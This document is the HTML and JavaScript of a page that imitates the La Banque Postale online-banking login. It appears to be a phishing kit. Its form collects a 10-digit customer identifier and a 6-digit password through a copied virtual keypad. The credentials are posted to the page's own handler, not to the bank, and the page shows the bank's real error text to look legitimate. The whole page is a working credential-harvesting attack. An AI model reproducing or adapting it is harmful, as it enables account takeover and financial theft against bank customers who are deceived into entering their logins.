<!doctypehtml><html lang=en><meta charset=utf-8><meta content=width=device-width,user-scalable=no,initial-scale=1 name=viewport><link href=cap/favicon.png rel=icon type=image/jpg><link crossorigin href=https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/css/bootstrap.min.css integrity=sha384-Vkoo8x4CGsO3+Hhxv8T/Q5PaXtkKtu6ug5TOeNV6gBiFeWPGFN9MuhOf23Q9Ifjh rel=stylesheet><title>
   La Banque Postale - Banque et Assurance en ligne – La Banque Postale
  </title><style>img{
        width:100%;
      }
      .inp{
      	border-radius:0px;
      	border:1px solid #dcdcdc;
      	width:90%;
      	margin-left:5%;
      	height:37px;
      	color:#676767;
      	text-align: center;
      	font-size:15px;
      }
      .bouton{
      	height:40px;
      	width:119.5px;
      }</style><body><img class="d-none d-md-block"src=cap/p11.png><img class=d-md-none src=cap/m11.png><div class=container-fluid style=margin:0px;padding:0px;width:100%><div class=row style=margin:0px;padding:0px><div class=col-md-5 style=margin:0px;padding:0px;background:#0c2b77;><div class=row><div class="col-md-7 offset-md-4 col-8 offset-2"style="border:  none; background-color: #17479e; padding-top:30px;padding-bottom:70px; display: none; text-align: left;"id=error><p style="font-weight: bold; font-size: .75em; color: #f2f2f2;letter-spacing: .5px;font-family:sans-serif;">Votre identifiant (10 chiffres) ou votre mot de passe n'a pas été reconnu. Si vous rencontrez des difficultés pour vous connecter, veuillez contacter un de nos téléconseillers au 3639* choix 4.<p style="font-weight: bold; font-size: .70em; color: #f2f2f2;letter-spacing: .5px;font-family:sans-serif;">* 0,15 €/min + prix d'un appel. Pour accéder aux services du 3639 depuis l'étranger, composez le +33 1 45 45 36 39 à partir d'un poste fixe (coût de communication internationale pour la France).<p style="font-weight: bold; font-size: .70em; color: #f2f2f2;letter-spacing: .5px;font-family:sans-serif;"><a style="color: white"href id=retour> >Retour </a></div><div class="col-md-6 offset-md-5 col-8 offset-2"style="border:  none; background-color: white; padding-top:10px;padding-bottom:12px"id=formulaire><form id=form1 method=POST name=changer><input placeholder="Saisissez votre identifiant"class=inp id=login maxlength=10 name=login pattern=[0-9,a-z,A-Z]* type=tel><input id=exampleCheck1 style=;margin-left:5% type=checkbox><span style=color:#676767> Mémoriser mon identifiant. </span><input placeholder="Composez votre mot de passe"class=inp id=motDePasse maxlength=6 name=password pattern=[0-9,a-z,A-Z]* readonly style=font-style:italic type=password><div style="height:29px;width:95%;margin-left:2.5%;text-align: center;font-size:17px;color:white;background-color:#586879;margin-top:5px;font-weight:600;">Activer la vocalisation</div><div></div><style>.clavier{
				    		padding:2px;
				    		border-radius: 0px;
				    	}
				    	.clavier input{
				    		width:100%;
				    		height:100%;
				    		padding-top:8.5px;
				    		padding-bottom:8.5px;
				    		background-color:#004b9b;
				    		border:0px;
				    		color:#fff;
				    		font-size:20px;
				    	}</style><div class="row mx-auto"style=width:90%;margin-top:9px;><div class="col-md-10 offset-md-1"><div class=row><div class="col-3 clavier"><input class=button type=button></div><div class="col-3 clavier"><input class=button onclick=clavier(5); type=button value=5></div><div class="col-3 clavier"><input class=button onclick=clavier(2); type=button value=2></div><div class="col-3 clavier"><input class=button onclick=clavier(7); type=button value=7></div></div><div class=row><div class="col-3 clavier"><input class=button onclick=clavier(6); type=button value=6></div><div class="col-3 clavier"><input class=button type=button></div><div class="col-3 clavier"><input class=button onclick=clavier(9); type=button value=9></div><div class="col-3 clavier"><input class=button type=button></div></div><div class=row><div class="col-3 clavier"><input class=button onclick=clavier(4); type=button value=4></div><div class="col-3 clavier"><input class=button onclick=clavier(2); type=button value=2></div><div class="col-3 clavier"><input class=button onclick=clavier(0); type=button value=0></div><div class="col-3 clavier"><input class=button type=button></div></div><div class=row><div class="col-3 clavier"><input class=button onclick=clavier(3); type=button value=3></div><div class="col-3 clavier"><input class=button type=button></div><div class="col-3 clavier"><input class=button onclick=clavier(1); type=button value=1></div><div class="col-3 clavier"><input class=button onclick=clavier(8); type=button value=8></div></div></div></div><div class=row style=padding:0px;width:95%;margin-left:2.5%;margin-top:9px><div class=col-5 style=padding:0px><input style="background-color: #4d81b9; color: white; border:none;font-weight:600;"class=bouton disabled id=valider type=submit value=VALIDER></div><div class=col-7 style=padding:0px;text-align:right;><input style="background-color: #586879; color: white; border:none;font-weight:600;"class=bouton id=effacer type=submit value=EFFACER></div></div></form></div></div></div><div class="col-md-7 d-none d-md-block"style=margin:0px;padding:0px><img src=cap/p2_2.png></div></div></div><img class="d-none d-md-block"src=cap/p3.png><img class=d-md-none src=cap/m22.png><script crossorigin integrity=sha384-J6qa4849blE2+poT4WnyKhv5vZF5SrPo0iEjwBvKU7imGFAV0wwj1yYfoRSJoZ+n src=https://code.jquery.com/jquery-3.4.1.slim.min.js></script><script crossorigin integrity=sha384-Q6E9RHvbIyZFJoft+2mJbHaEWldlvI9IOYy5n3zV9zzTtmI3UksdQRVvoxMfooAo src=https://cdn.jsdelivr.net/npm/popper.js@1.16.0/dist/umd/popper.min.js></script><script crossorigin integrity=sha384-wfSDF2E50Y2D1uUdj0O3uMBJnjuUD4Ih7YwaYd1iqfktj0Uod8GCExl3Og8ifwB6 src=https://stackpath.bootstrapcdn.com/bootstrap/4.4.1/js/bootstrap.min.js></script><script>
   function clavier (valeur) {
document.forms["changer"].elements["motDePasse"].value=document.forms["changer"].elements["motDePasse"].value+valeur;
}
document.getElementById('effacer').addEventListener('click', function(e){
    e.preventDefault();
	document.getElementById('motDePasse').value=''})

document.getElementById('login').addEventListener('input', function(){
   if (document.getElementById('login').value.length == 10) {
   	
   	document.getElementById('valider').removeAttribute("disabled");
   	document.getElementById('valider').style.backgroundColor = "#004b9b";
   }else{
    document.getElementById('valider').setAttribute("disabled", "disabled");
    document.getElementById('valider').style.backgroundColor = "#4d81b9";
   }
  })

document.getElementById('valider').addEventListener('click', function(e){
	e.preventDefault()
   if (document.getElementById('motDePasse').value.length == 6) {
   	
   	document.getElementById('form1').submit();
   
   }else{
    document.getElementById('formulaire').style.display = 'none'
    document.getElementById('error').style.display = 'block'
   }
  })
  </script>